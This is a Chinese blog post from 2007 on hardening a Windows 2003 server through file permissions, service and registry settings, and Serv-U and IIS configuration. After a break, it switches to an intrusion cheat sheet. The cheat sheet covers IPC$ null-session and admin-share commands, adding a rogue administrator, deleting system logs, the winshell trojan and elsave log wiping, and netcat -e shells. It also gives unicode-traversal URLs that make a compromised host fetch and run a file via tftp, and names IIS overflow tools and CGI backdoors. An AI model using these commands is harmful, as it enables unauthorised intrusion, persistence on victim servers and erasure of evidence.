Chinaunix首页 | 论坛 | 博客
  • 博客访问: 1437097
  • 博文数量: 463
  • 博客积分: 10540
  • 博客等级: 上将
  • 技术积分: 5450
  • 用 户 组: 普通用户
  • 注册时间: 2006-11-12 08:30
文章分类

全部博文(463)

文章存档

2014年(2)

2012年(14)

2011年(42)

2010年(18)

2009年(78)

2008年(35)

2007年(182)

2006年(92)

我的朋友

分类: WINDOWS

2007-06-23 13:51:53

windows 2003服务器的安全设置

 
 
1:C盘只给administrators 和system权限,其他的权限不给,
其他的盘也可以这样设置,这里给的system权限也不一定需要给,
只是由于某些第三方应用程序是以服务形式启动的,需要加上这个用户,否则造成启动不了
2:Windows目录要加上给users的默认权限,否则ASP和ASPX等应用程序就无法运行。
以前有朋友单独设置Instsrv和temp等目录权限,其实没有这个必要的
3:另外在c:/Documents and Settings/这里相当重要,后面的目录里的权限根本不会继承从前的设置,
如果仅仅只是设置了C盘给administrators权限,而在All Users/Application Data目录下会 
出现everyone用户有完全控制权限,这样入侵这可以跳转到这个目录,写入脚本或只文件,
再结合其他漏洞来提升权限;譬如利用serv-u的本地溢出提升权限,或系统遗漏有补丁,数据库的弱点,
甚至社会工程学等等N多方法,从前不是有牛人发飑说:"只要给我一个webshell,我就能拿到system",
这也的确是有可能的。在用做web/ftp服务器的系统里,建议是将这些目录都设置的锁死。
其他每个盘的目录都按照这样设置,没个盘都只给adinistrators权限。
4:另外,还将:net.exe,cmd.exe,tftp.exe,netstat.exe,regedit.exe,at.exe,attrib.exe,cacls.exe,
这些文件都设置只允许administrators访问
5:把不必要的服务都禁止掉,尽管这些不一定能被攻击者利用得上,但是按照安全规则和标准上来说,多余的东西就没必要开启,减少一份隐患。 
在"网络连接"里,把不需要的协议和服务都删掉,这里只安装了基本的Internet协议(TCP/IP),由于要控制带宽流量服务,
额外安装了Qos数据包计划程序。在高级tcp/ip设置里--"NetBIOS"设置"禁用tcp/IP上的NetBIOS(S)"。
在高级选项里,使用"Internet连接防火墙",这是windows 2003 自带的防火墙,在2000系统里没有的功能
,虽然没什么功能,但可以屏蔽端口,这样已经基本达到了一个IPSec的功能
6:这里我们按照所需要的服务开放响应的端口。在2003系统里,不推荐用TCP/IP筛选里的端口过滤功能,譬如在使用FTP服务器的时候
,如果仅仅只开放21端口,由于FTP协议的特殊性,在进行FTP传输的时候,由于FTP 特有的Port模式和Passive模式,
在进行数据传输的时候,需要动态的打开高端口,所以在使用TCP/IP过滤的情况下,经常会出现连接上后无法列出目录和数据传输的问题。
所以在2003系统上增加的windows连接防火墙能很好的解决这个问题,所以都不推荐使用网卡的TCP/IP过滤功能。 
7:SERV-U FTP 服务器的设置: 
一般来说,不推荐使用srev-u做ftp服务器,主要是漏洞出现的太频繁了,但是也正是因为其操作简单,功能强大,过于流行,关注的人也多,才被发掘出bug来,
换做其他的ftp服务器软件也一样不见得安全到哪儿去。 
当然,这里也有款功能跟serv-u同样强大,比较安全的ftp软件:Ability FTP Server 
下载地址: 
设置也很简单,不过我们这里还是要迎合大众胃口,说说关于serv-u的安全设置。 
首先,6.0比从前5.x版本的多了个修改本地LocalAdministrtaor的密码功能,
其实在5.x版本里可以用ultraedit-32等编辑器修改serv-u程序体进行修改密码端口,6.0修补了这个隐患,单独拿出来方便了大家
。不过修改了管理密码的serv-u是一样有安全隐患的,两个月前臭要饭的就写了新的采用本地sniff方法获取serv-u的管理密码的exploit,
正在网上火卖着,不过这种sniff的方法,同样是在获得webshell的条件后还得有个能在目录里有"执行"的权限,
并且需要管理员再次登陆运行serv-u administrator的时候才能成功。所以我们的管理员要尽量避上以上几点因素,也是可以防护的。
8:另外serv-u的几点常规安全需要设置下: 
选中"Block "FTP_bounce"attack and FXP"。什么是FXP呢?通常,当使用FTP协议进行文件传输时,
客户端首先向FTP服务器发出一个"PORT"命令,该命令中包含此用户的IP地址和将被用来进行数据传输的端口号,
服务器收到后,利用命令所提供的用户地址信息建立与用户的连接。大多数情况下,上述过程不会出现任何问题,
但当客户端是一名恶意用户时,可能会通过在PORT命令中加入特定的地址信息,使FTP服务器与其它非客户端的机器建立连接。
虽然这名恶意用户可能本身无权直接访问某一特定机器,但是如果FTP服务器有权访问该机器的话,那么恶意用户
就可以通过FTP服务器作为中介,仍然能够最终实现与目标服务器的连接。这就是FXP,也称跨服务器攻击。选中后就可以防止发生此种情况
9:另外在"Block anti time-out schemes"也可以选中。其次,在"Advanced"选项卡中,检查 "Enable security"是否被选中,如果没有,选择它们。
10:IIS的安全: 删掉c:/inetpub目录,删除iis不必要的映射 
11:在IIS里的站点属性里"目录安全性"---"身份验证和访问控制"里设置匿名访问使用下列Windows 用户帐户"的用户名密码都使
用 这个用户的信息.在这个站点相对应的web目录文件,默认的只给IIS用户的读取和写入权限(后面有更BT的设置要介绍)。 
12:在"应用程序配置"里,我们给必要的几种脚本执行权限:ASP.ASPX,PHP, 
ASP,ASPX默认都提供映射支持了的,对于PHP,需要新添加响应的映射脚本,然后在web服务扩展将ASP,ASPX都设置为允许,对于php以及CGI的支持,
需要新建web服务扩展,在扩展名(X):下输入 php ,再在要求的文件(E):里添加地址 C:/php/sapi/php4isapi.dll ,
并勾选设置状态为允许(S)。然后点击确定,这样IIS就支持PHP了。支持CGI同样也是如此。
13:要支持ASPX,还需要给web根目录给上users用户的默认权限,才能使ASPX能执行。
14:另外在应用程序配置里,设置调试为向客户端发送自定义的文本信息,这样能对于有ASP注入漏洞的站点,可以不反馈程序报错的信息,能够避免一定程度的攻击。
15:在自定义HTTP错误选项里,有必要定义下譬如404,500等错误,不过有有时候为了调试程序,好知道程序出错在什么地方,建议只设置404就可以了。
16:IIS6.0由于运行机制的不同,出现了应用程序池的概念。一般建议10个左右的站点共用一个应用程序池,应用程序池对于一般站点可以采用默认设置,
可以在每天凌晨的时候回收一下工作进程。
17:附件:详细见


禁用那些用不到的服务:Alerter、ClipBook、Computer Browser、 Distributed File System、Indexing Service、Internet Connection Sharing、Messenger
、NetMeeting Remote Desktop Sharing、Print Spooler、Remote Registry Service、Smart Card、Task Scheduler、TCP/IP NetBIOS
Helper Service、Telnet、Windows Time、Workstation.关于为什么禁用Workstation服务我会在下面说到
3.端口的配置

下面我来说一下怎样关闭常见的危险端口和一些无用的共享,如:默认共享。

在本地连接-属性中,把"Microsoft网络的文件和打印机共享"卸载掉。

在选定的组件中之留下TCP/IP协议和Microsoft网络客户端.大家可能会说为什么要留Microsoft网络客户端,根据前几天的调试, 如果不装它的话,重新启动IIS的时候会提示“服务不能启动,无法验证的服务”。选中TCP/IP协议-属性-高级-WINS-禁用TCP/IP上的 Netbios选项。把HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ GraphicsDrivers\DCI,Timeout双字节值改为0。建议大家设为0.这个键值对玩游戏有用,做虚拟主机我们用不到。

把HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa项下的数值restrictanonymous,由0改为1。

在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters项下新建双字节值AutoShareServer值为0。

在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters项下新建双字节值SMBDeviceEnabled值为0。

在防火墙中添加IP规则,允许21、25、80、110。禁止135端口。最后启动禁止所有别的端口的通过。

我们也可以通过系统自带的本地安全策略和TCP/IP筛选来设置相应打开和关闭的端口。


在C:\Program Files\Common Files文件夹属性对话框安全选项卡中,取消"允许将来自父系的可继承权限传播给该对象",访问权 限设成redblood、system完全控制,everyone读取及运行、列出文件夹目录、读取。因为ASP连接数据库的时候会用到这个目录。然后把 WINNT目录也按照同样的方法来设置成和Common Files文件夹同样的权限。

我们还要特殊设置一个目录那就是C:\WINNT\Temp,这个目录的访问权限是everyone修改、读取及运行、列出文件夹目录、读取、写入。

把如下文件设置成只有redblood完全控制权限,取消父系继承来的权限。这些文件有:C:\winnt\sytem32文件夹和C:\ winnt\sytem32\dllcache文件夹的net.exe、net1.exe、netstat、netsh、cacls、cmd.exe、、tftp.exe、at.exe、format.com、xcopy.exe.
禁用一些不安全的组件,如:Scripting.FileSystemObject、WScript.Shell、Shell.Application组件。

Scripting.FileSystemObject组件:

我们可以修改对应项在注册表里面的名称和值:

HKEY_CLASSES_ROOT\Scripting.FileSystemObject\

HKEY_CLASSES_ROOT\Scripting.FileSystemObject\CLSID\项目的值

WScript.Shell组件:

HKEY_CLASSES_ROOT\WScript.Shell\

HKEY_CLASSES_ROOT\WScript.Shell.1\

HKEY_CLASSES_ROOT\WScript.Shell\CLSID\项目的值

HKEY_CLASSES_ROOT\WScript.Shell.1\CLSID\项目的值

Shell.Application组件:

HKEY_CLASSES_ROOT\Shell.Application\

HKEY_CLASSES_ROOT\Shell.Application.1\

HKEY_CLASSES_ROOT\Shell.Application\CLSID\项目的值

HKEY_CLASSES_ROOT\Shell.Application.1\CLSID\项目的值
在这里我直接注销下面两个组件:

regsvr32 /u C:\WINNT\System32\wshom.ocx对应于WScript.Shell组件。

regsvr32/u C:\WINNT\System32\shell32.dll对应于Shell.Application组件。

禁止guests组的用户调用它:

cacls C:\WINNT\system32\scrrun.dll /e /d guests

cacls C:\WINNT\system32\shell32.dll /e /d guests
5.修改注册表提高系统安全和性能

下面我使用注册表和组策略一起来设置系统。

开始-运行-gpeidt.msc打开组策略,计算机配置-Windows配置-安全设置-帐户策略-密码策略.

下面是我的策略设置:

密码策略

密码必须符合复杂性要求:启用

密码长度最小值:8个字符

密码最长存留期:30天

密码最短存留期:3天

强制密码历史:5个记住的密码

帐户锁定策略设置

复位帐户锁定计数器:20分钟之后

帐户销定时间:20分钟

帐户锁定阀值:5次无效登录

计算机配置-Windows配置-安全设置-本地策略,审核策略设置:

审核策略更改:成功、失败

审核登录事件:成功、失败

审核对象访问:失败

审核过程追踪:无审核

审核目录服务访问:无审核

审核特权使用:失败

审核系统事件:失败

审核帐户登录事件:成功、失败

审核帐户管理:成功、失败

计算机配置-Windows配置-安全设置-本地策略-用户权限指派

更改系统时间:administrators

关闭系统:administrators

管理审核和安全日志:administrators

计算机配置-Windows配置-安全设置-本地策略-安全选项

登录屏幕上不要显示上次登录的用户名:已启用

对匿名连接的额个限制:不允许枚举 SAM 帐号和共享

故障恢复控制台:允许对所以驱动器和文件夹进行软盘复制和访问:已启用

在关机时清理虚拟内存页面交换文件:已启用

重命名来宾帐户:我命名成administrator。

重命名系统管理员帐户:redblood

在本地用户和组中把来宾用户和系统管理员的描述互换一下,这样可以起一个迷惑的作用。算是一个很无聊的小把戏吧。我们再添加一个系统管理员帐户,这 样可以防止如果忘记了口令可以及时的恢复系统,如果骇客进入系统改了密码,我们可以很快的取得系统的控制权。大家一定要给系统管理员设置一个强壮的密码, 最少也得8位以上,由大小字母+数字组成。

通过修改系统注册表的自启动项目把一些无用的启动项删除掉,以下是常见的各启动项:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Runonce

以上这几个启动项是木马出现很频繁的地方,大家以后维护的时候多注意一些。

6.FTP服务器配置

FTP服务器除了对所在的文件夹设置权限之外,还可以修改一下Banner,这种方法可以迷惑一些骇客,让他

在表面上认为我们的FTP的服务器不是Serv-u,下面我说一下设置的方法:

右键单击托盘区的Serv-u图标,启动管理员-本地服务器-域-设置-常规-消息选项卡的服务器响应消息下,将服务器ID文本设为: "Welcome Wu-Ftpd V2.6.2 for SCO Unix." 在HELP命令回复下设置成: "Direct comments or bugs to . 我们在给FTP服务器启动的时候设上密码。这样启动Serv-u的时候

就会让我们输入密码。
7.远程控制配置(2000系统)

这里我选用Win系统自带的远程控制软件终端服务,选择远程管理模式。为远程登录启动日志记录:

开始-程序-管理工具-终端服务配置-连接-rdp/tcp-右键-属性-权限-添加administrators组-高级-审核-添加everyone组,选择审核的项目为登录和注销。
.................
.................
.................

.................

常用的几条net命令: 

(与远程主机建立空管连接) net use 地址\ipc$ "" /use:"" 

(以管理员身份登录远程主机) net use 地址\ipc$ "密码" /use:"administrator" 

(传送文件到远程主机winnt目录下)copy 本机目录路径\程序 地址\admin$ 

(查看远程主机时间) net time 地址

(定时启动某个程序) at 地址 02:18 readme.exe 

(查看共享) net view 地址

(查看netbios工作组列表) nbtstat -a ip地址 

(将远程主机c盘映射为自己的f盘) net use f: 地址\c$ ""/user:"administrator" 

(这两条把自己增加到管理员组): net user 用户名 密码 /add 

net localgroup administrators 用户名 /add 

(断开连接) net use 地址\ipc$ /delete 

扫尾: 

del c:\winnt\system32\logfiles\*.* 

del c:\winnt\ssytem32\config\*.evt 

del c:\winnt\system32\dtclog\*.* 

del c:\winnt\system32\*.log 

del c:\winnt\system32\*.txt 

del c:\winnt\*.txt 

del c:\winnt\*.log 

 

一、netsvc.exe 

下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务: 

netsvc /list 地址 

netsvc schedule 地址 /query 

netsvc 地址 schedule /start 

二、opentelnet.exe 

远程启动主机的telnet服务,并绑定端口到7878,例如: 

opentelnet 地址 用户名 密码 1 7878 

然后就可以telnet到主机的7878端口,进入dos方式下: 

telnet ip地址 7878 

三、winshell.exe 

一个非常小的木马(不到6k),telnet到主机的7878端口,输入密码winshell,当看到cmd>后,可打下面的命令: 

p path (查看winshell主程序的路径信息) 

b reboot (重新启动机器) 

d shutdown (关闭机器) 

s shell (执行后你就会看到可爱的“c:\>”) 

x exit (退出本次登录会话,此命令并不终止winshell的运行) 

cmd>  (通过http下载其他网站上的文件到运行winshell的机器上) 

四、3389登陆器,gui方式登录远程主机的

五、elsave.exe 

事件日志清除工具 

elsave -s 地址 -l "application" -c 

elsave -s 地址 -l "system" -c 

elsave -s 地址 -l "security" -c 

执行后成功清除应用程序日志,系统日志,安全日志 

六、hbulot.exe 

开启win2kserver和winxp的3389服务 

hbulot [/r] 

使用/r表示安装完成后自动重起目标使设置生效。

七、nc.exe(netcat.exe) 

一个很好的工具,一些脚本程序都要用到它,也可做溢出后的连接用。 

想要连接到某处: nc [-options] hostname port[s] [ports] ... 

绑定端口等待连接: nc -l -p port [-options] [hostname] [port] 

参数: 

-e prog 程序重定向,一旦连接,就执行 [危险!!] 

-g gateway source-routing hop point[s], up to 8 

-g num source-routing pointer: 4, 8, 12, ... 

-h 帮助信息 

-i secs 延时的间隔 

-l 监听模式,用于入站连接 

-n 指定数字的ip地址,不能用hostname 

-o file 记录16进制的传输 

-p port 本地端口号 

-r 任意指定本地及远程端口 

-s addr 本地源地址 

-u udp模式 

-v 详细输出——用两个-v可得到更详细的内容 

-w secs timeout的时间 

-z 将输入输出关掉——用于扫描时 

八、tftpd32.exe 

把自己的电脑临时变为一台ftp服务器,让肉鸡来下载文件,tftp命令要在肉鸡上执行,通常要利用unicode漏洞或telnet到肉鸡,例如:
地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp -i 本机ip地址 get 文件名 c:\winnt\system32\文件名 

然后可以直接令文件运行:
地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名 

九、prihack.exe是iis的printer远程缓冲区溢出工具

idqover.exe是溢出idq的,选择“溢出后在一个端口监听”,然后用telnet连接它的监听端口,如果溢出成功,一连它的端口,绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出,成功以后winxp下需要打winxp。 

一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor,exe要放到cgi-bin目录下,asp放到有asp执行权限的目录。然后用ie浏览器连接。

阅读(800) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~